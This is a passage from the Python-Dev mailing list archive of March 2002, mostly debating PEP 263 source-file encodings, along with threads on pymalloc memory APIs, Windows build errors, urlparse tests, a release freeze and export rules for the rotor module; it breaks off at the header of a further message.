> The parser accepts programs encoded in unicode.  We provide some
> hooks to help you get from encodings convenient for your environment
> to Unicode, and some sample implementations of things to hang on the
> hooks.  But if there are problems with non-unicode files, they're
> your problems."

I still can't see how this is different from what the PEP
says. "encoded in Unicode" is, of course, a weak statement, since
Unicode is not an encoding (UTF-8 would be). With the PEP, people can
write source code in different encodings, but any problems they get
are their problems.

>   o There may be some audiences who are poorly served (Mr. Suzuki).

In phase two of the PEP, I don't think there will be large audiences
that are poorly served. If you want to write Python source in
then-unsupported encodings, people can write "hooks" to support
those. E.g. for importing modules, they just need to redefine
__import__.

>   o I think it will definitely tend to encourage use of national/
>     platform encodings rather than UTF-8 in source.  It may be hard to
>     get this sun to set.

It is traditional Python policy not to take side on political
debates. If this sun does not set, what is the problem?

>   o I think it makes it hard to implement helper tools (eg python-mode).

Harder than with those hooks? That's hard to believe. I assume you
primarily care about editors here. Editors either support multiple
encodings, or they don't. If they don't, you best write your source
code in the encoding that your editor supports, and declare that for
Python. If they do support different encodings, they may already
correctly recognize the declared encoding. If not, you may need to add
an additional declaration. Off-hand, I can't think of any editor where
this might be necessary.

>     Guido> I think even Mr. Suzuki isn't thinking of using UTF-16 in
>     Guido> his Unicode literals.  He currently sets UTF-16 as the
>     Guido> default encoding for data that he presumably reads from a
>     Guido> file.
>=20
> Well, I'm not a native Japanese.  But I have often edited English
> strings that occur in swaths of unrecognizable octets that would be
> Japanese if I had the terminal encoding set correctly.  I have also
> cut and pasted encoded Japanese into "binary" buffers.
>=20
> And how is he going to use regexps or formatting sugar without literal
> UTF-16 strings?

In stage 1 of the implementation, he can use either UTF-8 or EUC-JP in
Unicode literals. In stage 2, he can also use Shift_JIS and
iso-2022-jp.

> Right, as long as by "work" you mean "it's formally undefined but
> 8-bit clean stuff just passes through."  The problem is that people
> often do unclean things, like type ALT 1 8 5 to insert an 0xB9 octet,
> which the editor assumes is intended to be =B9 in a Latin-2 locale.
> However, if that file (which the user knows contains no Latin-2 at
> all) is read in a Latin-2 locale, and translated to Unicode, the byte
> value changes (in fact, it's no longer a byte value).  What's a parser
> to do?<wink>

I'm not sure I can follow this example. If you put byte 185 into a
Python source code file, and you declare the file as Latin-2, what
does that have to do with the locale? PEP 263 never mentions use of
the locale for anything.

> This can be made safe by not decoding the contents of ordinary string
> literals, but that requires that the parser has to do the lexing, you
> can't delegate it to a general-purpose codec.

Why is that? If the declared encoding of the file is Latin-2, the
parser will convert it into Unicode, then parse it, then reconvert
byte strings into Latin-2.

> Bingo.  And files which until that point embedded arbitrary binary
> (ie, not representing characters) stop working, quite possibly.=20=20

Breakage won't be silent, though. People will get a warning in phase
1, so they will know to declare an encoding.

If they have truly binary data in their source files (which I believe
is rare), they are advised to change those to \x escapes.

> This probably mostly works, based on mule experience.  But it requires
> the parser to have carnal knowledge of coding systems.  Isn't it
> preferable to insist on UTF-8 here, since it's simply changing the
> representation from one or two bytes back to constant-width one,
> without changing values?

It is no extra effort to support arbitrary encodings, compared to
supporting UTF-8 only. The parser just calls into the codec library,
and either gets an error or a Unicode string.

> Also, you'd have to prohibit encodings using ISO 2022 control sequences,
> as there are always many legal ways to encode the same text (there is
> no requirement that a mode-switching sequence actually be followed by
> any text before switching to a different mode), and there's no way to
> distinguish except to record the original input.

That is indeed a problem - those byte strings would have different
values at run-time. I expect that most users will accept the problem,
since the strings still have their original "meaning".

Regards,
Martin


From martin@v.loewis.de  Mon Mar 18 08:06:54 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 18 Mar 2002 09:06:54 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>
 <m3r8mk7s91.fsf@mira.informatik.hu-berlin.de>
 <878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <m3n0x6mh9d.fsf@mira.informatik.hu-berlin.de>

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Emacs naming compatibility is of ambiguous value in the current form
> of the PEP, since the cookie only applies to Unicode string literals.

That is simply not true. The encoding applies to the entire source
code.

It is only that it is processed just for Unicode literals, and this is
a documented deviation of the language implementation from the
language spec.

> The Emacs coding cookie applies to the whole file.  So this means that
> to implement a Python mode that allows (eg) a hexl mode on ordinary
> string literals but regular text mode on Unicode string literals,
> Emacs must _ignore_ Python coding cookies!

Nonsense.

Regards,
Martin


From mal@lemburg.com  Mon Mar 18 08:54:26 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 18 Mar 2002 09:54:26 +0100
Subject: [Python-Dev] PEP 263 - default encoding
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com> <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <3C95AB42.56ABD8E6@lemburg.com>

"Stephen J. Turnbull" wrote:
> 
> >>>>> "mal" == mal  <M.-A.> writes:
> 
>     mal> I have reworded the phase 1 implementation as follows:
> 
>     mal>     1. Implement the magic comment detection, but only apply
>     mal> the detected encoding to Unicode literals in the source file.
> 
> a. Does this really make sense for UTF-16? 

UTF-16 is not allowed as source code encoding; see the PEP
for details.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From mal@lemburg.com  Mon Mar 18 08:59:30 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 18 Mar 2002 09:59:30 +0100
Subject: [Python-Dev] PEP 263 - default encoding
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp> <3C8F236F.2512966F@lemburg.com> <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net> <3C922ABC.5E5718DE@lemburg.com> <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp> <200203151939.g2FJd6N04542@pcp742651pcs.reston01.va.comcast.net>
 <87pu25mc5z.fsf@tleepslib.sk.tsukuba.ac.jp> <200203160358.g2G3wkV06256@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C95AC72.FCB3C86D@lemburg.com>

Guido van Rossum wrote:
> ...
> I think this will actually work.  Suppose someone uses KOI8-R.
> Presumably they have an editor that reads, writes and displays
> KOI8-R, and their default interpretation of Python's stdout will also
> assume KOI8-R.
> 
> Thus, if their program contains
> 
>     k = "...some KOI8-R string..."
>     print k
> 
> it will print what they want.  If they write this:
> 
>     u = unicode(k, "koi8-r")
> 
> it will also do what they want.  Currently, if they write
> 
>     u = u"...some KOI8-R string..."
> 
> it won't work, but with the PEP, in phase 1, it will do the right
> thing as long as they add a KOI8-R cookie to the file.  The treatment
> of the 8-bit string assigned to k will not change in phase 1.
> 
> But the treatment of k under phase 2 will be, um, interesting, and I'm
> not sure what it should do!!!  Since in phase 2 the entire file will
> be decoded from KOI8-R to Unicode before it's parsed, maybe the best
> thing would be to encode 8-bit string literals back using KOI8-R (in
> general, the encoding given in the encoding cookie).
> 
>     *** MAL, can you think about this? ***

All 8-bit string literals will get re-encoded according to the
specified source code encoding. See PEP Concepts part 3:

"""
    3. Python's tokenizer/compiler combo will need to be updated to
       work as follows:

       1. read the file

       2. decode it into Unicode assuming a fixed per-file encoding

       3. tokenize the Unicode content

       4. compile it, creating Unicode objects from the given Unicode data
          and creating string objects from the Unicode literal data
          by first reencoding the Unicode data into 8-bit string data
          using the given file encoding

       5. variable names and other identifiers will be reencoded into
          8-bit strings using the file encoding to assure backward
          compatibility with the existing implementation
"""

For this to work, the source code encoding will have
to be round-trip safe, that is encoding->Unicode->encoding
must be 1-1.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From mal@lemburg.com  Mon Mar 18 09:15:42 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 18 Mar 2002 10:15:42 +0100
Subject: [Python-Dev] PEP 263 - default encoding
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp> <3C8F236F.2512966F@lemburg.com> <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com> <200203151718.g2FHI0M03566@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C95B03E.E4B72318@lemburg.com>

Guido van Rossum wrote:
> 
> > I guess the PEP is ready for BDFL pronouncement now.
> 
> Is the patch updated to match the PEP phase 1?

I think Martin is working on this -- I don't have time for
it myself; too busy.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From stephen@xemacs.org  Mon Mar 18 10:09:14 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 18 Mar 2002 19:09:14 +0900
Subject: [Python-Dev] PEP 263 - default encoding
In-Reply-To: <m3r8mimhe2.fsf@mira.informatik.hu-berlin.de>
References: <200203130410.NAA31152@suzuki611.ngo.okisoft.co.jp>
 <3C8F236F.2512966F@lemburg.com>
 <200203151652.g2FGq5403278@pcp742651pcs.reston01.va.comcast.net>
 <3C922ABC.5E5718DE@lemburg.com>
 <878z8tocsl.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203151939.g2FJd6N04542@pcp742651pcs.reston01.va.comcast.net>
 <87pu25mc5z.fsf@tleepslib.sk.tsukuba.ac.jp>
 <200203160358.g2G3wkV06256@pcp742651pcs.reston01.va.comcast.net>
 <87663ul8b4.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3r8mimhe2.fsf@mira.informatik.hu-berlin.de>
Message-ID: <87y9gqjigl.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Martin" == Martin v Loewis <martin@v.loewis.de> writes:

    Martin> "Stephen J. Turnbull" <stephen@xemacs.org> writes:

    >> The parser accepts programs encoded in unicode.

    Martin> I still can't see how this is different from what the PEP
    Martin> says.

The PEP says "This PEP proposes to introduce a syntax to declare the
encoding of a Python source file. The encoding information is then
used by the Python parser to interpret the file using the given
encoding." and "I propose to make the Python source code encoding both
visible and changeable on a per-source file basis".  That strongly
suggests to me that it's Python's job to list, define, and implement
the acceptable codings.

It claims to "provide ... a more robust and portable definition."  Of
what is not explicitly stated; I interpret it to mean the definition
of legal encodings of Python source code.  I doubt I'll be the only
one.  And I think that's really what you have in mind, anyway.  Your
comment about "who cares if the sun doesn't set" certainly suggests
that.

    Martin> With the PEP, people can write source code in different
    Martin> encodings, but any problems they get are their problems.

Where does it say that?  The current language in the PEP suggests
quite the opposite to me.  Basically this PEP is designed to
facilitate non-portable, non-interoperable programming styles.  I see
the need, but I think it's regrettable.

As written, the PEP never explicitly says "we won't support most of
the infinite variety of ways to hurt yourself that this facility
provides."  I think users will start by expecting it to support the
ones they're addicted to, then complain when it fails.  That's
certainly the experience with Emacs.

    Martin> It is traditional Python policy not to take side on
    Martin> political debates. If this sun does not set, what is the
    Martin> problem?

Nothing, if you don't see barriers to interoperability and reuse of
code as a problem.

    >> o I think it makes it hard to implement helper tools (eg
    >> python-mode).

    Martin> Harder than with those hooks?

Yes.  Because ordinary string literals must be handled specially.  As
I pointed out, a good Emacs implementation will ignore the coding
cookies on Emacs input; python-mode will have to lex the buffer
itself.  (Or undo the transformation for literal strings, assuming it
can.)

    >> And how is he going to use regexps or formatting sugar without
    >> literal UTF-16 strings?

    Martin> In stage 1 of the implementation, he can use either UTF-8
    Martin> or EUC-JP in Unicode literals.

Assuming he's willing to use Unicode literals.  Maybe for good or bad
reasons he really wants ordinary strings.

    Martin> I'm not sure I can follow this example. If you put byte
    Martin> 185 into a Python source code file, and you declare the
    Martin> file as Latin-2, what does that have to do with the
    Martin> locale? PEP 263 never mentions use of the locale for
    Martin> anything.

I apologize for the reference to locale; that was incorrect.  I meant
there's a good chance the file will have a Latin-2 cookie.

    >> This can be made safe by not decoding the contents of ordinary
    >> string literals, but that requires that the parser has to do
    >> the lexing, you can't delegate it to a general-purpose codec.

    Martin> Why is that? If the declared encoding of the file is
    Martin> Latin-2, the parser will convert it into Unicode, then
    Martin> parse it, then reconvert byte strings into Latin-2.

This _probably_ works.  However, in the text quoted above, I wrote
"by not decoding the contents of ordinary string literals", and that
cannot be done by a general-purpose codec.

IMHO, the parser should never need to call a codec.  For text, we can
generally rely on codecs to provide encoders and decoders that are
inverses; not so for binary.  This is just not safe, as you admit.

    Martin> Breakage won't be silent, though. People will get a
    Martin> warning in phase 1, so they will know to declare an
    Martin> encoding.

Which they will see on the majority of their files, almost all of
which will work despite the warning.  People who hate warnings will
turn them off by automatically adding the cookie to all programs.
Others will ignore them, and maybe remember them when they hit a bug.

    Martin> That is indeed a problem - those byte strings would have
    Martin> different values at run-time. I expect that most users
    Martin> will accept the problem, since the strings still have
    Martin> their original "meaning".

If they are using ordinary strings correctly (ie, not for containing
text), this is out and out data corruption.  True, they should be
using octal or hex escapes.  But I bet there's lots of code out there
that doesn't; I know there's tons in Emacs Lisp.


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From stephen@xemacs.org  Mon Mar 18 10:19:00 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 18 Mar 2002 19:19:00 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>
Message-ID: <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Paul" == Paul Svensson <paul@svensson.org> writes:

    Paul> So, if Emacs recognizes the cookie, it will allow you to
    Paul> edit both code and unicode strings, as text.  If you need to
    Paul> put non-ASCII data in regular strings, not using the
    Paul> specified encoding, then write them as \xNN-escapes.

My point is that encouraging \xNN-escaping would be greatly
facilitated if Emacs did _not_ treat regular strings as text.  After
all, they aren't, except in the U.S.<wink>  I want Emacs to encourage
users to conform to Python's view of what belongs in there, not to
force Python to accept whatever Emacs can stuff in.


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From mal@lemburg.com  Mon Mar 18 10:40:57 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 18 Mar 2002 11:40:57 +0100
Subject: [Python-Dev] rotor module
Message-ID: <3C95C439.D5B3C573@lemburg.com>

While discussing the PSF contrib docs with Martin, we came
across a possible violation of the US export regulations:

According to the BXA web-site, all crypto code with more
than 56 bit keys, has to be regsitered with the BXA. rotor
uses 80 bit keys.

Here's the application we would need to file:

   http://www.bxa.doc.gov/Encryption/PubAvailEncSourceCodeNofify.html

The various sections referenced in that document can be found here:

   http://w3.access.gpo.gov/bxa/ear/ear_data.html 

With the definition of terms at:

   http://w3.access.gpo.gov/bxa/ear/txt/772.txt

and a chart of available license exceptions at (open source software
is covered under TSU):

   http://www.bxa.doc.gov/Encryption/lechart1.html

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From stephen@xemacs.org  Mon Mar 18 11:48:49 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 18 Mar 2002 20:48:49 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <m3n0x6mh9d.fsf@mira.informatik.hu-berlin.de>
References: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>
 <m3r8mk7s91.fsf@mira.informatik.hu-berlin.de>
 <878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3n0x6mh9d.fsf@mira.informatik.hu-berlin.de>
Message-ID: <87d6y2jdum.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Martin" == Martin v Loewis <martin@v.loewis.de> writes:

    Martin> That is simply not true. The encoding applies to the
    Martin> entire source code.

    Martin> It is only that it is processed just for Unicode literals,

Would you please unpack this?  As it stands it looks like an oxymoron.

    Martin> and this is a documented deviation of the language
    Martin> implementation from the language spec.

I don't see any need for a deviation of the implementation from the
spec.  Just slurp in the whole file in the specified encoding.  Then
cast the Unicode characters in ordinary literal strings down to
bytesize (my preference, probably with errors on Latin-1<0.5 wink>) or
reencode them (Guido's and your suggestion).  People who don't like
the results in their non-Unicode literal strings (probably few) should
use hex escapes.  Sure, you'll have to rewrite the parser in terms of
UTF-16.  But I thought that was where you were going anyway.

If not, it should be nearly trivial to rewrite the parser in terms of
UTF-8 (since it is a superset of ASCII and non-ASCII is currently only
allowed in comments or guarded by a (Unicode)? string literal AFAIK).
The main issue would be anything that involves counting characters
(not bytes!), I think.  Everything else is a no-op because high-bit-
set octets only occur in whole-character units and in things that
could be considered single tokens (string literals and comments), so
just keep glomming them on the current token until you find any of the
token-ending characters in the current ASCII-based implementation.  No
need to change any syntax.  Transforming the UTF-8 to UTF-16 for
Unicode string literals is fast, easy to implement, and guaranteed
invertible (modulo the UTF-32 vs UCS-4 issue).

The UTF-8 strategy probably gives you identifiers containing arbitrary
characters reliably (that is, as reliable as anything that admits more
than one encoding can be) and nearly for free, in the same way as you
get arbitrary string data and comments.  It's debatable whether that's
a good thing, of course.  (Except for the obfuscators, to whom "it's
all Greek to me" will be music to their ears.)


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From vladimir.marangozov@optimay.com  Mon Mar 18 11:57:19 2002
From: vladimir.marangozov@optimay.com (Vladimir Marangozov)
Date: Mon, 18 Mar 2002 12:57:19 +0100
Subject: [Python-Dev] Re: Activating pymalloc
Message-ID: <4C99842BC5F6D411A6A000805FBBB19958DD8C@ge0057exch01.agere.com>


Hi,

[Tim]
>
> [me]
> > 2. I agree that the macro chain (especially on the pymalloc side)
> >    is not so useful at the end, so maybe all PyCore_ macros can be
> >    removed. The function names of the allocator can be cast in
> >    stone and then _THIS_xxx in obmalloc.c replaced with them.
> 
> Have you looked at Neil's patch?

I had a quick look. I'm not happy with it for two reasons:

- it removes all those useful comments in pymem.h and objimpl.h
- the overall picture of the memory APIs in less clear than before
  (and there are no docs trying to clarify the issue)

So let's step back for a while, assume we start from scratch with
the APIs, put forward the main memory concepts again, agree on all
APIs then see what are the diffs with the current state.

Here is a 1st shot of it which makes succinctly the round around
the clock on the issue. Hopefully you'll be able to work out the
details on python-dev.

======================================================================

Prelude
-------

We want to introduce a Python-specific allocator that can operate
on heaps managed by the Python core, and only by the Python core.

We would like to differentiate two types of Python heaps:
raw memory heap and object memory heap (argumentation is left aside).

Accessing these heaps is done through different memory APIs.

Naming conventions
------------------

The proposal is to use the following prefixes for the memory APIs:

- PyMem_xxx     for raw memory
- PyObject_xxx  for object memory

  (PyMemObject_xxx would be another suggestion for object memory
   but PyObject_ is enough)


Raw memory
----------

For raw memory allocation, the proposal is to use the following
two APIs:

- PyMem_{MALLOC, REALLOC, FREE}          - raw malloc
- PyMem_{NEW, _DEL}                      - type-oriented raw malloc

and their function counterparts for extension modules.

These are defined in pymem.h


Object memory
-------------

For object memory allocation, the proposal is to use the following
API for allocating storage from the object heap:

- PyObject_{MALLOC, REALLOC, FREE}       - object malloc

and their function counterparts for extension modules.


For creating an arbitrary (typed) Python object, which is not subject
to GC, the proposal is to use the following API:

- PyObject_{New, NewVar, Del}

Note that creating an object is a 2-step process:
 a) storage allocation + b) initialization (Py_NewReference).

For creating a Python object subject to GC, the proposal is to use
the following API:

- PyObject_GC_{New, NewVar, Del}

These APIs are defined in objimpl.h


Switching allocators
--------------------

Without a python-specific malloc, the libc standard malloc is used.

For the raw allocator, the macros PyMem_{MALLOC, REALLOC, FREE}
expand to {malloc, realloc, free} respectively (in pymem.h).

For the object allocator, the macros PyObject_{MALLOC, REALLOC, FREE}
expand to {malloc, realloc, free} respectively (in objimpl.h).


Assuming we would like to use a specific allocator, we can make the
two sets of macros above expand to this allocator independently.

Changing mallocs automatically should be doable with a configure
option, so that the macro expansion above is automated.


Python allocator
----------------

A Python allocator is a specialized allocator that tries to optimize
memory management according to Python's specific memory needs and
allocation patterns.

Such allocator would be called only by the Python core via the APIs
described above: PyMem_ for raw memory, and PyObject_ for object memory.

Therefore, the proposal for this allocator is to export the following
API:

- PyCore_{Malloc, Realloc, Free}

(typically this means that pymalloc's functions are named this way).


Controversial issues
--------------------

Practically, releasing memory is done the same way with all APIs,
so PyMem_FREE equals PyMem_DEL.  Similarly, there will be
implementation equivalences for the object APIs.

It is believed that these are implementation details for each
memory API. Therefore, the rule of thumb is to always use the
same API for a given memory block. The examples section in the
docs tries to illustrate this rule.


API Summary
-----------

Raw malloc API:       PyMem_{MALLOC, REALLOC, FREE}
                      PyMem_{NEW, DEL}

                      PyMem_{Malloc, Realloc, Free}
                      PyMem_{New, Del}

Object malloc API:    PyObject_{MALLOC, REALLOC, FREE}
                      PyObject_{Malloc, Realloc, Free}

                      PyObject_{New, NewVar, Del}
                      PyObject_GC_{New, NewVar, Del}

Python's internal
malloc API:           PyCore_{Malloc, Realloc, Free}

======================================================================

All in all, this is pretty close to what we have now and future
comments & patches should be made according to the global picture
like the one above, and preferably well documented in the source
in addition to the docs.


About tuning pymalloc: I would suggest reviving the profiler which
sleeps in the patches list. You'll find it invaluable for gathering
the stats directly from Python. After some profiling, you'll have
good reasons to change a parameter or two (like the small block
threshold). Spacing the size classes by 4 bytes is not good (well,
*was* not good at the time). Spacing them by 16 might be good now.
I don;t know -- just try it. Changing the pool size might be good
as well. But if the performace deltas you get are relatively small,
this would be a platform-specific effect, so just leave things as
they are.


Vladimir


From fredrik@pythonware.com  Mon Mar 18 12:16:14 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Mon, 18 Mar 2002 13:16:14 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
References: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp><m3r8mk7s91.fsf@mira.informatik.hu-berlin.de><878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp><m3n0x6mh9d.fsf@mira.informatik.hu-berlin.de> <87d6y2jdum.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <01f301c1ce76$b61ea910$0900a8c0@spiff>

stephen wrote:

>     Martin> That is simply not true. The encoding applies to the
>     Martin> entire source code.
>=20
>     Martin> It is only that it is processed just for Unicode literals,
>=20
> Would you please unpack this?  As it stands it looks like an
> oxymoron.

I suggest reading the PEP again.  Repeat as necessary,
until you understand what it says.

</F>



From mwh@python.net  Mon Mar 18 13:16:02 2002
From: mwh@python.net (Michael Hudson)
Date: 18 Mar 2002 13:16:02 +0000
Subject: [Python-Dev] 2.2.1c1 is go!
Message-ID: <2meliiow31.fsf@starship.python.net>

I believe the next step according to PEP 102 is for Fred to build the
docs and Tim to build the Windows installer.

Please, no one check anything in to the release22-maint branch without
checking with me, Tim or Fred, as appropriate (unless you are Tim or
Fred, of course).

When Tim and Fred are done, I should be ready to do the remaining
steps (praise be for PEP 102!), but I have a tutorial to give now...

Cheers,
M.

-- 
81. In computing, turning the obvious into the useful is a living
    definition of the word "frustration".
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From mhammond@skippinet.com.au  Mon Mar 18 13:33:57 2002
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Tue, 19 Mar 2002 00:33:57 +1100
Subject: [Python-Dev] pymalloc on Windows
Message-ID: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au>

It appears that the _sre and _winreg modules fail to build with
WITH_PYMALLOC defined.

Both are extension modules, and both use the macro versions of the memory
allocator functions - ie, PyObject_NEW etc.

Both fail at link time with, eg:

_winreg.obj : error LNK2001: unresolved external symbol
__PyCore_ObjectMalloc

I assume from previous discussions here that _PyCore_ObjectMalloc is indeed
supposed to be private and not exposed from the main module/dll.

I have patches for both these modules.  However, I wonder if a more
pragmatic option is to expose this core function.  It would allow
PyObject_NEW to continue to work as before.

I also just saw Martin say that some of these macros may define themselves
back to the function anyway making all this moot :)

So - I guess all I am saying is - at the moment, it appears there are at
least a couple fo problems building the core with pymalloc under windows.  I
have patches, but in a short while they may not be necessary :)

FWIW, with 3 PyObject_NEW changes in the Win32 extensions, the COM tests
pass and pythonwin starts up :)

Mark.



From skip@pobox.com  Mon Mar 18 14:00:40 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 18 Mar 2002 08:00:40 -0600
Subject: [Python-Dev] add a bunch of tests to test_urlparse
Message-ID: <15509.62216.922417.851753@12-248-41-177.client.attbi.com>

Bug 450225 references a bunch of URL parsing tests based on RFC 2396.  I've
added them to test_urlparse.py.  The problem is, two of them fail.  Should I

    * check in test_urlparse.py & create an output/test_urlparse that
      reflects those two errors

    * check in test_urlparse.py & create an output/test_urlparse that
      reflects how those two problematic URLs ought to be parsed

    * comment out those two failing tests, and generate a 0-error
      output/test_urlparse file

    * do nothing

Those two failing tests are:

    urljoin('http://a/b/c/d;p?q', '?y')
    expected 'http://a/b/c/?y',
         got 'http://a/b/c/d;p?y'

    urljoin('http://a/b/c/d;p?q', ';x')
    expected 'http://a/b/c/;x',
         got 'http://a/b/c/d;x'

Finally, this uses the old test format.  Since so much of the test script
gets touched, should I go ahead and convert to unittest?

Skip


From mal@lemburg.com  Mon Mar 18 14:00:23 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 18 Mar 2002 15:00:23 +0100
Subject: [Python-Dev] pymalloc on Windows
References: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au>
Message-ID: <3C95F2F7.8918A430@lemburg.com>

Mark Hammond wrote:
> 
> It appears that the _sre and _winreg modules fail to build with
> WITH_PYMALLOC defined.
> 
> Both are extension modules, and both use the macro versions of the memory
> allocator functions - ie, PyObject_NEW etc.
> 
> Both fail at link time with, eg:
> 
> _winreg.obj : error LNK2001: unresolved external symbol
> __PyCore_ObjectMalloc
> 
> I assume from previous discussions here that _PyCore_ObjectMalloc is indeed
> supposed to be private and not exposed from the main module/dll.

That would break lots of code... basically all code using
the macros instead of the functions, I guess.
 
> I have patches for both these modules.  However, I wonder if a more
> pragmatic option is to expose this core function.  It would allow
> PyObject_NEW to continue to work as before.

+1

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From skip@pobox.com  Mon Mar 18 14:04:06 2002
From: skip@pobox.com (Skip Montanaro)
Date: Mon, 18 Mar 2002 08:04:06 -0600
Subject: [Python-Dev] pymalloc on Windows
In-Reply-To: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au>
References: <LCEPIIGDJPKCOIHOBJEPIENGFEAA.mhammond@skippinet.com.au>
Message-ID: <15509.62422.985138.262672@12-248-41-177.client.attbi.com>

    Mark> Both are extension modules, and both use the macro versions of the
    Mark> memory allocator functions - ie, PyObject_NEW etc.
    ...
    Mark> I have patches for both these modules.  However, I wonder if a
    Mark> more pragmatic option is to expose this core function.  It would
    Mark> allow PyObject_NEW to continue to work as before.

If I've followed the recent thread on pymalloc (there is some question about
that, at least in my mind), extension modules would be better served by
calling the function versions of the various allocator APIs instead of the
macro versions.  That would eliminate the need to expose
__PyCore_ObjectMalloc.

    Mark> So - I guess all I am saying is - at the moment, it appears there
    Mark> are at least a couple fo problems building the core with pymalloc
    Mark> under windows.  I have patches, but in a short while they may not
    Mark> be necessary :)

What happens if you simply change to the function versions?

Skip


From stephen@xemacs.org  Mon Mar 18 14:07:19 2002
From: stephen@xemacs.org (Stephen J. Turnbull)
Date: 18 Mar 2002 23:07:19 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <01f301c1ce76$b61ea910$0900a8c0@spiff>
References: <20020316072459085.DDES.28894.t-mta1.odn.ne.jp@mta1.odn.ne.jp>
 <m3r8mk7s91.fsf@mira.informatik.hu-berlin.de>
 <878z8qmy4l.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3n0x6mh9d.fsf@mira.informatik.hu-berlin.de>
 <87d6y2jdum.fsf@tleepslib.sk.tsukuba.ac.jp>
 <01f301c1ce76$b61ea910$0900a8c0@spiff>
Message-ID: <87zo16hsvc.fsf@tleepslib.sk.tsukuba.ac.jp>

>>>>> "Fredrik" == Fredrik Lundh <fredrik@pythonware.com> writes:

    Fredrik> I suggest reading the PEP again.  Repeat as necessary,
    Fredrik> until you understand what it says.

Oh, I understand what it says.  What I still don't understand is how
what it says corresponds to necessary or especially useful semantics,
as compared to the alternatives proposed.


-- 
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JAPAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From guido@python.org  Mon Mar 18 14:23:39 2002
From: guido@python.org (Guido van Rossum)
Date: Mon, 18 Mar 2002 09:23:39 -0500
Subject: [Python-Dev] POSIX thread code
